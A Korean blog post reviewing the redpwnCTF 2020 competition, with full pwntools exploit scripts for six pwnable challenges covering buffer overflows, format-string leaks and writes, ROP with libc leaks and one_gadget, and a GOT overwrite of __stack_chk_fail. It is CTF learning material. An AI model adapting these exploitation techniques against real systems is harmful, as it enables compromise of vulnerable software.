작년에 재미있게 했던 기억이 있어서 올해에도 빠지지 않고 참여했습니다.
기말시험이나 BoB최종 발표랑 겹쳐서 많이 투자하지는 못했지만 올해도 재밌었습니다.
특히, 작년에 비해 서버가 괜찮았습니다. 작년에는 펑펑 터지던거로 기억하고있어서...
내년에는 좀 더 높은 등수를 노릴 수 있도록 더욱 노력하겠습니다.
SOLVED
Pwnable
coffer-overflow-0
from pwn import *
p=remote("2020.redpwnc.tf", 31199)
py = 'A'*28
p.sendlineafter("with?",py)
p.interactive()
coffer-overflow-1
from pwn import *
p=remote("2020.redpwnc.tf",31255)
py = ''
py = 'A'*24
py += p64(0xCAFEBABE)
p.sendlineafter("with?", py)
p.interactive()
coffer-overflow-2
from pwn import *
p=remote("2020.redpwnc.tf", 31908)
magic = 0x4006E6
py = ''
py += 'A'*24
py += p64(magic)
p.sendlineafter("with?", py)
p.interactive()
secret-flag
from pwn import *
p=remote("2020.redpwnc.tf",31826)
py = ''
py += '%7$s '
p.sendlineafter("?",py)
p.interactive()
동적할당한 주소를 변수에 저장하고 할당한 주소 안에 플래그 내용 넣어두었다. FSB를 이용하여 해당 주소를 %s로 출력하면 flag를 획득할 수 있다.
the-library
from pwn import *
p=remote("2020.redpwnc.tf", 31350)
L=ELF("./the-library")
libc=ELF("./libc.so.6")
pop_rdi = 0x0400733
main = 0x400637
py = ''
py += 'A'*24
py += p64(pop_rdi)
py += p64(L.got['read'])
py += p64(L.plt['puts'])
py += p64(main)
p.sendlineafter('name?', py)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.symbols['read']
print hex(libc_base)
one_gadget = libc_base + 0x4f2c5
py2 = ''
py2 += 'A'*24
py2 += p64(one_gadget)
p.sendlineafter('name?', py2)
p.interactive()
간단한 ROP 문제
dead-canary
from pwn import *
p=remote("2020.redpwnc.tf", 31744)
L=ELF("dead-canary")
libc=ELF("./libc-2.27.so")
stack_chk_got = L.got['__stack_chk_fail']
main = 0x0400737
main_low = 0x0737
py = ''
py += '%{}c'.format(main_low)
py += '%8$hn'
py += 'A'*(8-len(py)%8)
py += p64(stack_chk_got)
py += 'A'*(265-len(py))
p.sendafter("name:", py)
py2 = ''
py2 += '%77$p'
py2 += '0'*(272-len(py2))
p.sendlineafter("name:", py2)
p.recvuntil("Hello ")
leak = int(p.recvn(14),16)
libc_start_main = leak - 231
libc_base = libc_start_main - libc.symbols["__libc_start_main"]
one_gadget = libc_base + 0x4f322
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = 0x10000 + one_gadget_middle - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = 0x10000 + one_gadget_high - one_gadget_middle
py4 = ''
py4 += p64(0)*34
p.sendlineafter("name:", py4)
py3 = ''
py3 += '%{}c'.format(low)
py3 += '%11$hn'
py3 += '%{}c'.format(middle)
py3 += '%12$hn'
py3 += '%{}c'.format(high)
py3 += '%13$hn'
py3 += '0'*(8-len(py3)%8)
py3 += p64(stack_chk_got)
py3 += p64(stack_chk_got+2)
py3 += p64(stack_chk_got+4)#64
py3 += p64(0)*26
p.sendlineafter("name:", py3)
p.interactive()
마찬가지로 FSB 문제이다.
입력시 크기를 288로 고정하기에 RET overwrite밖에 할 수 없다.
공격은 다음과 같이 진행되었다
-
'__stack_chk_fail'의 got에 main의 주소를 넣어주어 다시 main이 시작되어 입력할 수 있게끔 해주었다.
-
RET에 위치한 '__libc_start_main+231'의 주소를 leak하여 libc_base를 구한다.
leave를 진행하기 전 카나리 호출을 이용하여 main이 호출된 후 다시 sub rsp, 110h로 스택이 늘어나기때문에 이를 유의하자
-
p64(0)*34를 한번 보내준다
-
libc_base를 이용하여 one_gadget 주소를 구한 후 '__stack_chk_fail'의 got에 overwrite해준다.
3번 과정을 해주는것은 바로 one_gadget주소를 써주면 조건에 맞지가 않아서 main으로 한번 돌어가서 스택을 늘려주었다.
'CTF > 2020' 카테고리의 다른 글
NahamCon CTF (0) | 2020.06.15 |
---|---|
DefenitCTF 후기 (0) | 2020.06.08 |
angstormCTF library_in_c (64bit fsb) (0) | 2020.03.21 |
angstormCTF 2020 (0) | 2020.03.19 |